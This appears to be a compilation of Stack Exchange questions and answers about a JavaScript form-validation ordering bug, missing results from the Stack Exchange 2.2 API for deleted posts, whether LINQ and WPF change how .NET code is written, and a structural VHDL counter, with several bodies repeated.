问:
form validation starts from the lower field.why such strange behaviour
I am new to JS and here the form validation starts from "name" field after that phone field then it goes email and then again upper field and so on.Why such strange behaviour of starting the validation from bottom field even though validation is correct?

function checkform(pform1) {
  var uname = pform1.username.value;
  var pswrd = pform1.password.value;
  var repswrd = pform1.repassword.value;
  var email = pform1.email.value;
  var phone = pform1.phone.value;
  var name = pform1.name.value;
  var cleanstr = phone.replace(/[\(\)\.\-\ ]/g, '');
  var err = {};
  var validemail = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
  var minNumberofChars = 6;
  var maxNumberofChars = 16;
  var regularExpression = /(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,}/;

  //check required fields
  //password should be minimum 6 chars but not greater than 16
  if (uname == null || uname == "") {
    err.message = "UserName can't be blank";
    err.field = pform1.username;
  }
  if ((pswrd.length < minNumberofChars) || (pswrd.length > maxNumberofChars)) {
    err.message = "Invalid password length";
    err.field = pform1.password;
  } else if (!regularExpression.test(pswrd)) {
    err.message = "password should contain atleast one number and one special character";
    err.field = pform1.password;
  }

  //validate email
  if (!(validemail.test(email))) {
    err.message = "Invalid email";
    err.field = pform1.email;
  }

  //check phone number
  if (isNaN(parseInt(cleanstr))) {
    err.message = "Invalid phone number";
    err.field = pform1.phone;
  } else if (phone.length < 10 || phone.length > 10) {
    err.message = "please enter valid phone number";
    err.field = pform1.phone;
  }
  if (name == null || name == "") {
    err.message = "Name can't be blank";
    err.field = pform1.name;
  }
  if (pswrd !== repswrd) {
    err.message = "Password wont match";
    err.field = pform1.repassword;
  }
  if (err.message) {
    document.getElementById('divError').innerHTML = err.message;
    err.field.focus();
    return false;
  } else {
    window.location.href = "newform2.html";
    return false;
  }
  return true;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <title> Form Handling </title>
  <!-- <link href="formstyle.css" rel="stylesheet" type="text/css" /> -->
</head>

<body style="background-color:powderblue;">
  <h3> Welcome!Please fillup all the details
  </h3>

  <form action="#" method="post" onsubmit="return checkform(this);">

    <div id="errmsgbox">

      <div id="divError" style="color:#FF0000">
      </div>

    </div>

    <fieldset class="credentials">
      <legend> Access Credentials
      </legend>

      <table border="0">

        <tr>
          <td>
            <label for="username" class="hover"> Username
              </label>
          </td>
          <td>
            <input type="text" id="username" class="required text" autofocus />
            <span class="style1"> *
                    </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="password" class="hover"> Password
                              </label>
          </td>
          <td>
            <input type="password" id="password" class="required text" />
            <span class="style1"> *
                                    </span><br />
            <span class="tooltip"> Minimum 6 and maximum 16 characters
                                        </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="repassword" class="hover"> Re - enter Password
                                                  </label>
          </td>
          <td>
            <input type="password" id="repassword" class="required text" />
            <span class="style1"> *
                                                        </span><br />
          </td>
        </tr>
        <tr>
          <td>
            <label for="email" class="hover"> Email
                                                                    </label>
          </td>
          <td>
            <input type="text" id="email" class="required email text" />
            <span class="style1"> *
                                                                          </span>
          </td>
        </tr>
      </table>
    </fieldset>
    <fieldset>
      <legend> Other Information
      </legend>
      <table border="0">

        <tr>
          <td width="59">
            <label for="name" class="hover"> Name
                                                                                </label>
          </td>
          <td width="207">
            <input type="text" id="name" class="required text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="phone" class="hover"> Phone
                                                                                </label>
          </td>
          <td>
            <input type="text" id="phone" class="phone text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <input type="submit" value="Next" class="submit" />
          </td>
        </tr>
        <tr>
          <td colspan="2"> * = Required Field
          </td>
        </tr>
      </table>

    </fieldset>
  </form>
</body>

</html></code>```

the form validation starts from "name" field

答:
Each validation failure overwrites err.message and err.field. So at the end, these contain the last field that failed validation.

The simple way to fix this is to change all your if statements to else if. That way, if one of the earlier checks fails, you won't perform any of the rest, and err.message and err.field will contain the first failure instead of the last.

function checkform(pform1) {
  var uname = pform1.username.value;
  var pswrd = pform1.password.value;
  var repswrd = pform1.repassword.value;
  var email = pform1.email.value;
  var phone = pform1.phone.value;
  var name = pform1.name.value;
  var cleanstr = phone.replace(/[\(\)\.\-\ ]/g, '');
  var err = {};
  var validemail = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
  var minNumberofChars = 6;
  var maxNumberofChars = 16;
  var regularExpression = /(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,}/;

  //check required fields
  //password should be minimum 6 chars but not greater than 16
  if (uname == null || uname == "") {
    err.message = "UserName can't be blank";
    err.field = pform1.username;
  }
  else if ((pswrd.length < minNumberofChars) || (pswrd.length > maxNumberofChars)) {
    err.message = "Invalid password length";
    err.field = pform1.password;
  } else if (!regularExpression.test(pswrd)) {
    err.message = "password should contain atleast one number and one special character";
    err.field = pform1.password;
  }

  //validate email
  else if (!(validemail.test(email))) {
    err.message = "Invalid email";
    err.field = pform1.email;
  }

  //check phone number
  else if (isNaN(parseInt(cleanstr))) {
    err.message = "Invalid phone number";
    err.field = pform1.phone;
  } else if (phone.length < 10 || phone.length > 10) {
    err.message = "please enter valid phone number";
    err.field = pform1.phone;
  }
  else if (name == null || name == "") {
    err.message = "Name can't be blank";
    err.field = pform1.name;
  }
  else if (pswrd !== repswrd) {
    err.message = "Password wont match";
    err.field = pform1.repassword;
  }

  if (err.message) {
    document.getElementById('divError').innerHTML = err.message;
    err.field.focus();
    return false;
  } else {
    window.location.href = "newform2.html";
    return false;
  }
  return true;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <title> Form Handling </title>
  <!-- <link href="formstyle.css" rel="stylesheet" type="text/css" /> -->
</head>

<body style="background-color:powderblue;">
  <h3> Welcome!Please fillup all the details
  </h3>

  <form action="#" method="post" onsubmit="return checkform(this);">

    <div id="errmsgbox">

      <div id="divError" style="color:#FF0000">
      </div>

    </div>

    <fieldset class="credentials">
      <legend> Access Credentials
      </legend>

      <table border="0">

        <tr>
          <td>
            <label for="username" class="hover"> Username
              </label>
          </td>
          <td>
            <input type="text" id="username" class="required text" autofocus />
            <span class="style1"> *
                    </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="password" class="hover"> Password
                              </label>
          </td>
          <td>
            <input type="password" id="password" class="required text" />
            <span class="style1"> *
                                    </span><br />
            <span class="tooltip"> Minimum 6 and maximum 16 characters
                                        </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="repassword" class="hover"> Re - enter Password
                                                  </label>
          </td>
          <td>
            <input type="password" id="repassword" class="required text" />
            <span class="style1"> *
                                                        </span><br />
          </td>
        </tr>
        <tr>
          <td>
            <label for="email" class="hover"> Email
                                                                    </label>
          </td>
          <td>
            <input type="text" id="email" class="required email text" />
            <span class="style1"> *
                                                                          </span>
          </td>
        </tr>
      </table>
    </fieldset>
    <fieldset>
      <legend> Other Information
      </legend>
      <table border="0">

        <tr>
          <td width="59">
            <label for="name" class="hover"> Name
                                                                                </label>
          </td>
          <td width="207">
            <input type="text" id="name" class="required text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="phone" class="hover"> Phone
                                                                                </label>
          </td>
          <td>
            <input type="text" id="phone" class="phone text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <input type="submit" value="Next" class="submit" />
          </td>
        </tr>
        <tr>
          <td colspan="2"> * = Required Field
          </td>
        </tr>
      </table>

    </fieldset>
  </form>
</body>

</html></code>```

Body:
I am new to JS and here the form validation starts from "name" field after that phone field then it goes email and then again upper field and so on.Why such strange behaviour of starting the validation from bottom field even though validation is correct?

function checkform(pform1) {
  var uname = pform1.username.value;
  var pswrd = pform1.password.value;
  var repswrd = pform1.repassword.value;
  var email = pform1.email.value;
  var phone = pform1.phone.value;
  var name = pform1.name.value;
  var cleanstr = phone.replace(/[\(\)\.\-\ ]/g, '');
  var err = {};
  var validemail = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
  var minNumberofChars = 6;
  var maxNumberofChars = 16;
  var regularExpression = /(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,}/;

  //check required fields
  //password should be minimum 6 chars but not greater than 16
  if (uname == null || uname == "") {
    err.message = "UserName can't be blank";
    err.field = pform1.username;
  }
  if ((pswrd.length < minNumberofChars) || (pswrd.length > maxNumberofChars)) {
    err.message = "Invalid password length";
    err.field = pform1.password;
  } else if (!regularExpression.test(pswrd)) {
    err.message = "password should contain atleast one number and one special character";
    err.field = pform1.password;
  }

  //validate email
  if (!(validemail.test(email))) {
    err.message = "Invalid email";
    err.field = pform1.email;
  }

  //check phone number
  if (isNaN(parseInt(cleanstr))) {
    err.message = "Invalid phone number";
    err.field = pform1.phone;
  } else if (phone.length < 10 || phone.length > 10) {
    err.message = "please enter valid phone number";
    err.field = pform1.phone;
  }
  if (name == null || name == "") {
    err.message = "Name can't be blank";
    err.field = pform1.name;
  }
  if (pswrd !== repswrd) {
    err.message = "Password wont match";
    err.field = pform1.repassword;
  }
  if (err.message) {
    document.getElementById('divError').innerHTML = err.message;
    err.field.focus();
    return false;
  } else {
    window.location.href = "newform2.html";
    return false;
  }
  return true;
}

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

  <title> Form Handling </title>

 Welcome!Please fillup all the details

  <form action="#" method="post" onsubmit="return checkform(this);">

    <fieldset class="credentials">
      <legend> Access Credentials
      </legend>

             Username

            <input type="text" id="username" class="required text" autofocus />
             *

             Password

            <input type="password" id="password" class="required text" />
             *

             Minimum 6 and maximum 16 characters

             Re - enter Password

            <input type="password" id="repassword" class="required text" />
             *

             Email

            <input type="text" id="email" class="required email text" />
             *

    </fieldset>
    <fieldset>
      <legend> Other Information
      </legend>

             Name

            <input type="text" id="name" class="required text" />
             *

             Phone

            <input type="text" id="phone" class="phone text" />
             *

            <input type="submit" value="Next" class="submit" />

           * = Required Field

    </fieldset>
  </form>

the form validation starts from "name" field

Body:
Each validation failure overwrites err.message and err.field. So at the end, these contain the last field that failed validation.

The simple way to fix this is to change all your if statements to else if. That way, if one of the earlier checks fails, you won't perform any of the rest, and err.message and err.field will contain the first failure instead of the last.

function checkform(pform1) {
  var uname = pform1.username.value;
  var pswrd = pform1.password.value;
  var repswrd = pform1.repassword.value;
  var email = pform1.email.value;
  var phone = pform1.phone.value;
  var name = pform1.name.value;
  var cleanstr = phone.replace(/[\(\)\.\-\ ]/g, '');
  var err = {};
  var validemail = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
  var minNumberofChars = 6;
  var maxNumberofChars = 16;
  var regularExpression = /(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{6,}/;

  //check required fields
  //password should be minimum 6 chars but not greater than 16
  if (uname == null || uname == "") {
    err.message = "UserName can't be blank";
    err.field = pform1.username;
  }
  else if ((pswrd.length < minNumberofChars) || (pswrd.length > maxNumberofChars)) {
    err.message = "Invalid password length";
    err.field = pform1.password;
  } else if (!regularExpression.test(pswrd)) {
    err.message = "password should contain atleast one number and one special character";
    err.field = pform1.password;
  }

  //validate email
  else if (!(validemail.test(email))) {
    err.message = "Invalid email";
    err.field = pform1.email;
  }

  //check phone number
  else if (isNaN(parseInt(cleanstr))) {
    err.message = "Invalid phone number";
    err.field = pform1.phone;
  } else if (phone.length < 10 || phone.length > 10) {
    err.message = "please enter valid phone number";
    err.field = pform1.phone;
  }
  else if (name == null || name == "") {
    err.message = "Name can't be blank";
    err.field = pform1.name;
  }
  else if (pswrd !== repswrd) {
    err.message = "Password wont match";
    err.field = pform1.repassword;
  }

  if (err.message) {
    document.getElementById('divError').innerHTML = err.message;
    err.field.focus();
    return false;
  } else {
    window.location.href = "newform2.html";
    return false;
  }
  return true;
}

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <title> Form Handling </title>
  <!-- <link href="formstyle.css" rel="stylesheet" type="text/css" /> -->
</head>

<body style="background-color:powderblue;">
  <h3> Welcome!Please fillup all the details
  </h3>

  <form action="#" method="post" onsubmit="return checkform(this);">

    <div id="errmsgbox">

      <div id="divError" style="color:#FF0000">
      </div>

    </div>

    <fieldset class="credentials">
      <legend> Access Credentials
      </legend>

      <table border="0">

        <tr>
          <td>
            <label for="username" class="hover"> Username
              </label>
          </td>
          <td>
            <input type="text" id="username" class="required text" autofocus />
            <span class="style1"> *
                    </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="password" class="hover"> Password
                              </label>
          </td>
          <td>
            <input type="password" id="password" class="required text" />
            <span class="style1"> *
                                    </span><br />
            <span class="tooltip"> Minimum 6 and maximum 16 characters
                                        </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="repassword" class="hover"> Re - enter Password
                                                  </label>
          </td>
          <td>
            <input type="password" id="repassword" class="required text" />
            <span class="style1"> *
                                                        </span><br />
          </td>
        </tr>
        <tr>
          <td>
            <label for="email" class="hover"> Email
                                                                    </label>
          </td>
          <td>
            <input type="text" id="email" class="required email text" />
            <span class="style1"> *
                                                                          </span>
          </td>
        </tr>
      </table>
    </fieldset>
    <fieldset>
      <legend> Other Information
      </legend>
      <table border="0">

        <tr>
          <td width="59">
            <label for="name" class="hover"> Name
                                                                                </label>
          </td>
          <td width="207">
            <input type="text" id="name" class="required text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td>
            <label for="phone" class="hover"> Phone
                                                                                </label>
          </td>
          <td>
            <input type="text" id="phone" class="phone text" />
            <span class="style1"> *
                                                                                </span>
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <input type="submit" value="Next" class="submit" />
          </td>
        </tr>
        <tr>
          <td colspan="2"> * = Required Field
          </td>
        </tr>
      </table>

    </fieldset>
  </form>
</body>

</html>


来源: stackexchange

问:
Error retrieving multiple ids using the Stack Exchange API
Working with the Stack Exchange 2.2 API, I have run into a roadblock when using post_ids to retrieve data. My results are incomplete.

According the online documents for the posts/{ids} interface,
I should be able to retrieve 30 questions. (It says up to 100, but other queries are maxing out at 30, so I assume this would as well.)

But, using this query ("Query 1"):

/2.2/posts/44697152;44725527;44740511;44740358;44746963;44744722;44752663;44751224;44750591;44768116;44768073;44766268;44762034;44763620;44763575;44763124;44778755;44782321;44792568;44791709;44791955;44801095;44800945;44808174;44809993;44801579;44838390;44872388;44853254;44850293

I get back exactly 3 entries, those for: 44850293; 44872388; and 44853254.

(lldb) po result

["items": [

["creation_date": 2017-06-30 15:41:31
  +0000, "link": How to unwrap the content value from XML in Objective-C, "score": -1, "post_type": Wednesday.PostType.question, "last_activity_date":
  2017-07-03 13:57:21 +0000, "owner": ["link":
  https://www.gravatar.com/avatar/e0616f34ea00d07842b7e7886fd7abc8?s=128&d=identicon&r=PG&f=1,
  "user_type": Wednesday.User.UserType.registered, "user_id": 7707593,
  "display_name": "Steven", "reputation": 18, "accept_rate": 75],
  "last_edit_date": 2017-07-03 07:41:31 +0000],

["creation_date":
  2017-07-02 15:25:37 +0000, "link":
  How to collect the return value of a function (Swift 3), "score": -4, "post_type":
  Wednesday.PostType.question, "last_activity_date": 2017-07-02 15:43:58
  +0000, "owner": ["link": https://lh6.googleusercontent.com/-NIYQgyduM8w/AAAAAAAAAAI/AAAAAAAAAaQ/e0IACRo6xbI/photo.jpg?sz=128,
  "user_type": Wednesday.User.UserType.registered, "user_id": 6298390,
  "display_name": "Dorian Brown", "reputation": 18, "accept_rate": 100],
  "last_edit_date": 2017-07-02 15:43:58 +0000],

["creation_date":
  2017-06-30 19:02:07 +0000, "link":
  swift - approach for tangled/cross-cutting code (logging, analytics, etc.), "score": 0, "post_type":
  Wednesday.PostType.question, "last_activity_date": 2017-07-01 01:26:24
  +0000, "owner": ["link": https://www.gravatar.com/avatar/e819b2408e9528b895dc192aee309912?s=128&d=identicon&r=PG&f=1,
  "user_type": Wednesday.User.UserType.registered, "user_id": 108546,
  "display_name": "ravun", "reputation": 743, "accept_rate": 86],
  "last_edit_date": 2017-07-01 01:26:24 +0000]

],

"quota_remaining": 221,

"quota_max": 300, "has_more": false]

Notice "has_more": false  -- so the API thinks it has provided all the information.

Using this query  ("Query 2"):

/2.2/posts/44218623;44217105;44262473;44272520;44309003;44305981;44319988;44318730;44330107;44329638;44334480;44350820;44354106;44358187;44374565;44374073;44365138;44377970;44388874;44395390;44397545;44401141;44399160;44408394;44454372;44446876;44458876;44461402;44468764;44650412

I get back 0 entries. These are all valid ids

(lldb) po result

["quota_max": 300,
  "quota_remaining": 224,
  "has_more": false]

Here is a sample of some the Swift 3.2 code used to call (I don't believe the swift code is the issue):

```<code>let response: String = try get(url)
guard let json = try parseJSON(response) as? [String:Any] else {
    throw APIError.notDictionary(response: response)
}

open func get(_ url: String) throws -> (Data, HTTPURLResponse) {
    guard let nsUrl = URL(string: url) else {
        throw RequestError.invalidURL(url: url)
    }
    var request = URLRequest(url: nsUrl)
    request.setValue(String(request.httpBody?.count ?? 0), forHTTPHeaderField: "Content-Length")
    return try performRequest(request)
}
</code>```

How do I retrieve a list of 30 posts using the 2.2 API?
Is there a newer API?

答:
The most important thing is that the API does not return deleted posts.  There is a feature request for this, you might want to go upvote it.

However, deleted posts return in the API is buggy, so you might temporarily see some deleted posts, as well as deleted posts that you're not supposed to be able to.

Also note, that as a user with less than 10K, theoretically you should never be able to see deleted posts unless you were the author.

In your doc link, you have 3 ids (3743, 327738, and 339426):

however it only returns 339426.

Post 3743 10K link is deleted.

But Post 327738 is valid!

This may be a serious bug.

In your "Query 1", all but the last 3 posts are deleted, so the API is returning the correct entries.

In your "Query 2", all 30 posts are deleted, so the API is correct to return nothing.

Re: "Is there a newer API?"

No.  Not officially.

Unofficially, work seems to have started on version 3.0, but it is nowhere near ready for use.

ContentLicense: CC BY-SA 3.0

Body:
Working with the Stack Exchange 2.2 API, I have run into a roadblock when using post_ids to retrieve data. My results are incomplete.

According the online documents for the posts/{ids} interface,
I should be able to retrieve 30 questions. (It says up to 100, but other queries are maxing out at 30, so I assume this would as well.)

But, using this query ("Query 1"):

/2.2/posts/44697152;44725527;44740511;44740358;44746963;44744722;44752663;44751224;44750591;44768116;44768073;44766268;44762034;44763620;44763575;44763124;44778755;44782321;44792568;44791709;44791955;44801095;44800945;44808174;44809993;44801579;44838390;44872388;44853254;44850293

I get back exactly 3 entries, those for: 44850293; 44872388; and 44853254.

(lldb) po result

["items": [

["creation_date": 2017-06-30 15:41:31
  +0000, "link": How to unwrap the content value from XML in Objective-C, "score": -1, "post_type": Wednesday.PostType.question, "last_activity_date":
  2017-07-03 13:57:21 +0000, "owner": ["link":
  https://www.gravatar.com/avatar/e0616f34ea00d07842b7e7886fd7abc8?s=128&d=identicon&r=PG&f=1,
  "user_type": Wednesday.User.UserType.registered, "user_id": 7707593,
  "display_name": "Steven", "reputation": 18, "accept_rate": 75],
  "last_edit_date": 2017-07-03 07:41:31 +0000],

["creation_date":
  2017-07-02 15:25:37 +0000, "link":
  How to collect the return value of a function (Swift 3), "score": -4, "post_type":
  Wednesday.PostType.question, "last_activity_date": 2017-07-02 15:43:58
  +0000, "owner": ["link": https://lh6.googleusercontent.com/-NIYQgyduM8w/AAAAAAAAAAI/AAAAAAAAAaQ/e0IACRo6xbI/photo.jpg?sz=128,
  "user_type": Wednesday.User.UserType.registered, "user_id": 6298390,
  "display_name": "Dorian Brown", "reputation": 18, "accept_rate": 100],
  "last_edit_date": 2017-07-02 15:43:58 +0000],

["creation_date":
  2017-06-30 19:02:07 +0000, "link":
  swift - approach for tangled/cross-cutting code (logging, analytics, etc.), "score": 0, "post_type":
  Wednesday.PostType.question, "last_activity_date": 2017-07-01 01:26:24
  +0000, "owner": ["link": https://www.gravatar.com/avatar/e819b2408e9528b895dc192aee309912?s=128&d=identicon&r=PG&f=1,
  "user_type": Wednesday.User.UserType.registered, "user_id": 108546,
  "display_name": "ravun", "reputation": 743, "accept_rate": 86],
  "last_edit_date": 2017-07-01 01:26:24 +0000]

],

"quota_remaining": 221,

"quota_max": 300, "has_more": false]

Notice "has_more": false  -- so the API thinks it has provided all the information.

Using this query  ("Query 2"):

/2.2/posts/44218623;44217105;44262473;44272520;44309003;44305981;44319988;44318730;44330107;44329638;44334480;44350820;44354106;44358187;44374565;44374073;44365138;44377970;44388874;44395390;44397545;44401141;44399160;44408394;44454372;44446876;44458876;44461402;44468764;44650412

I get back 0 entries. These are all valid ids

(lldb) po result

["quota_max": 300,
  "quota_remaining": 224,
  "has_more": false]

Here is a sample of some the Swift 3.2 code used to call (I don't believe the swift code is the issue):

let response: String = try get(url)
guard let json = try parseJSON(response) as? [String:Any] else {
    throw APIError.notDictionary(response: response)
}

open func get(_ url: String) throws -> (Data, HTTPURLResponse) {
    guard let nsUrl = URL(string: url) else {
        throw RequestError.invalidURL(url: url)
    }
    var request = URLRequest(url: nsUrl)
    request.setValue(String(request.httpBody?.count ?? 0), forHTTPHeaderField: "Content-Length")
    return try performRequest(request)
}

How do I retrieve a list of 30 posts using the 2.2 API?
Is there a newer API?


问:
Are technologies like LINQ, WPF, WF just libraries or development changing methodologies
Lately, Microsoft keeps coming out with new technologies Linq, WF, WPF, etc... Seems to me that they are presented like technology inovations that completely change the way your applications are designed and coded.

Yet,they are based on the same underlying framework (2.0) If I look at Java, there are a lot of libraries that provide critical functionality (Hibernate, Spring for example), yet they are considered to be still just libraries.

So my question is, Do people think that these technologies are really changing the way we write windows code? Is it worth learning every development methodology that Microsoft is putting out with Visual Studio releases.

Or is this just hype. As libraries, they are important, however, not critical to get job done. Will they make as big of an impact and ss I learn it, it will considerably effect my future as a developer?

EDIT: The same goes for some of the language futures that are implemented. Some are changing the way we program (Generics) Others, are much less critical (Partial Classes) That makes learning Generics a critical part of learning .NET, unlike learning to use Partial Classes

答:
Does it matter which version of the CLR it targets? Every piece of software on your PC targets the x86 architecture, does that mean it's all the same technology?

Further, does it matter if they are libraries or technologies? Does it make a difference?

In any case, the products you mention don't have much to do with each others (other than being made by Microsoft).

LINQ is a language feature, it is built into the C# or VB (or other .NET languages) compilers, and the language syntax has been extended to accommodate LINQ. That means it's certainly not just a library.

WPF, on the other hand, is not part of the language. You could call it a library, or a framework, or any other term you like.

And does either of these change the way you program? Perhaps. LINQ certainly offered something that wasn't previously available, and for me, at least, it has radically changed the way I code C#. It has also made me quite a bit more productive.

WPF is a bit more subtle, because of course plenty of GUI libraries already existed. But WPF still offers a lot of convenience, and the ability to do some really nice-looking graphical stuff much more easily than any other Windows-compatible library I'm aware of. Letting you use GPU shaders in a 2d GUI app wasn't easily done before WPF, so again, for some things at least, WPF has the potential to change the way you program.

And yes, so did Spring for Java.

OwnerDisplayName: Timur Fanshteyn

ContentLicense: CC BY-SA 2.5

LastEditorDisplayName: Timur Fanshteyn

OwnerDisplayName: jalf


问:
Erratic Counter Code By VHDL
I just wrote a VHDL code but it doesn’t work correctly. I want to write an erratic counter with D Flip-Flop that count like this: 0 –> 13 –> 5 –> 7 –> 12 –> 6 –> 3 –> 15 –> 10 -> 0.
It should have these properties:

It should be structural

Four outputs (3 down to 0)

It should have an asynchronous reset

It should have an enable

It should have an active high clock.

I wrote my code below but I know it’s not OK. Can anyone help me please?

```<code>library IEEE ;
use IEEE.std_logic_1164.all ;
-- and_gate
entity and_gate is
  port(Input1, Input2:in bit;
  Output:out bit);
end and_gate;
architecture behavioral of and_gate is
  begin
    Output <= (Input1 and Input2) ;
end behavioral;
-- or_gate
entity or_gate is
  port(Input1, Input2:in bit;
  Output:out bit);
end or_gate;
architecture behavioral of or_gate is
  begin
  Output <= (Input1 or Input2);
end behavioral;
-- not_gate
entity not_gate is
  port(Input : in bit; Output : out bit);
end not_gate;
architecture behavioral of not_gate is
begin
  Output <= not(Input);
end behavioral;
-- D-FF
entity DFF is
    port(CLK,RESET,EN,DIN :in bit;
    COUNT  :out bit);
    end DFF;
architecture behavioral of DFF is
begin
    LSEQ :process(RESET,CLK)
    begin
        if(RESET ='0')then
            COUNT  <='0';
        elsif(CLK'event and CLK ='1')then
            if(EN ='1')then
                COUNT  <=DIN;
        end if;
    end if;
 end process;
end behavioral;
-- counter
entity counter is
    port (CLK,RESET,EN: in bit;
         COUNT : out bit_vector(3 downto 0));
end counter;

architecture counter_structural of counter is

component and_gate
    port(Input1,Input2 : in bit; Output: out bit);
end component;

component or_gate
    port(Input1,Input2 : in bit; Output : out bit);
end component;

component not_gate
    port(Input : in bit; Output : out bit);
end component;

component DFF
    port(CLK,RESET,EN,DIN :in bit; COUNT  :out bit);
end component;

signal A,B,C,D,ai,bi,ci,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15 : bit;

begin
    Gate1: not_gate port map (A,ai);
    Gate2: not_gate port map (B,bi);
    Gate3: and_gate port map (ai,bi,a1);
    Gate4: and_gate port map (C,D,a2);
    Gate5: or_gate  port map (a1,a2,a3);
    Gate6: DFF port map (CLK,RESET,EN,a3,COUNT(0));
    Gate7: and_gate port map (ai,B,a4);
    Gate8: not_gate port map (c,ci);
    Gate9: and_gate port map (ai,D,a5);
    Gate10: or_gate port map (a4,ci,a6);
    Gate11: or_gate port map (a5,a6,a7);
    Gate12: DFF port map (CLK,RESET,EN,a7,COUNT(1));
    Gate13: and_gate port map (A,B,a8);
    Gate14: and_gate port map (C,D,a9);
    Gate15: or_gate port map (a8,a9,a10);
    Gate16: DFF port map (CLK,RESET,EN,a10,COUNT(2));
    Gate17: and_gate  port map (ai,B,a11);
    Gate18: and_gate  port map (ci,D,a12);
    Gate19: and_gate  port map (ai,D,a13);
    Gate20: or_gate port map (a11,a12,a14);
    Gate21: or_gate port map (a13,a14,a15);
    Gate22: DFF port map (CLK,RESET,EN,a15,COUNT(3));
end counter_structural ;
</code>```

答:
For that purpose you can use LFSR (linear feedback shift register).
If you choose the correct parameters and correct first value, you get a pseudo random generator.
The good point is that the correct parameters and first value are provided on web. (Google should provide it to you fast enough)</p>

Title: Erratic Counter Code By VHDL

Body:
I just wrote a VHDL code but it doesn’t work correctly. I want to write an erratic counter with D Flip-Flop that count like this: 0 –> 13 –> 5 –> 7 –> 12 –> 6 –> 3 –> 15 –> 10 -> 0.
It should have these properties:

It should be structural

Four outputs (3 down to 0)

It should have an asynchronous reset

It should have an enable

It should have an active high clock.

I wrote my code below but I know it’s not OK. Can anyone help me please?

library IEEE ;
use IEEE.std_logic_1164.all ;
-- and_gate
entity and_gate is
  port(Input1, Input2:in bit;
  Output:out bit);
end and_gate;
architecture behavioral of and_gate is
  begin
    Output <= (Input1 and Input2) ;
end behavioral;
-- or_gate
entity or_gate is
  port(Input1, Input2:in bit;
  Output:out bit);
end or_gate;
architecture behavioral of or_gate is
  begin
  Output <= (Input1 or Input2);
end behavioral;
-- not_gate
entity not_gate is
  port(Input : in bit; Output : out bit);
end not_gate;
architecture behavioral of not_gate is
begin
  Output <= not(Input);
end behavioral;
-- D-FF
entity DFF is
    port(CLK,RESET,EN,DIN :in bit;
    COUNT  :out bit);
    end DFF;
architecture behavioral of DFF is
begin
    LSEQ :process(RESET,CLK)
    begin
        if(RESET ='0')then
            COUNT  <='0';
        elsif(CLK'event and CLK ='1')then
            if(EN ='1')then
                COUNT  <=DIN;
        end if;
    end if;
 end process;
end behavioral;
-- counter
entity counter is
    port (CLK,RESET,EN: in bit;
         COUNT : out bit_vector(3 downto 0));
end counter;

architecture counter_structural of counter is

component and_gate
    port(Input1,Input2 : in bit; Output: out bit);
end component;

component or_gate
    port(Input1,Input2 : in bit; Output : out bit);
end component;

component not_gate
    port(Input : in bit; Output : out bit);
end component;

component DFF
    port(CLK,RESET,EN,DIN :in bit; COUNT  :out bit);
end component;

signal A,B,C,D,ai,bi,ci,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15 : bit;

begin
    Gate1: not_gate port map (A,ai);
    Gate2: not_gate port map (B,bi);
    Gate3: and_gate port map (ai,bi,a1);
    Gate4: and_gate port map (C,D,a2);
    Gate5: or_gate  port map (a1,a2,a3);
    Gate6: DFF port map (CLK,RESET,EN,a3,COUNT(0));
    Gate7: and_gate port map (ai,B,a4);
    Gate8: not_gate port map (c,ci);
    Gate9: and_gate port map (ai,D,a5);
    Gate10: or_gate port map (a4,ci,a6);
    Gate11: or_gate port map (a5,a6,a7);
    Gate12: DFF port map (CLK,RESET,EN,a7,COUNT(1));
    Gate13: and_gate port map (A,B,a8);
    Gate14: and_gate port map (C,D,a9);
    Gate15: or_gate port map (a8,a9,a10);
    Gate16: DFF port map (CLK,RESET,EN,a10,COUNT(2));
    Gate17: and_gate  port map (ai,B,a11);
    Gate18: and_gate  port map (ci,D,a12);
    Gate19: and_gate  port map (ai,D,a13);
    Gate20: or_gate port map (a11,a12,a14);
    Gate21: or_gate port map (a13,a14,a15);
    Gate22: DFF port map (CLK,RESET,EN,a15,COUNT(3));
end counter_structural ;


问:
Cannot read property 'getHostNode' of null
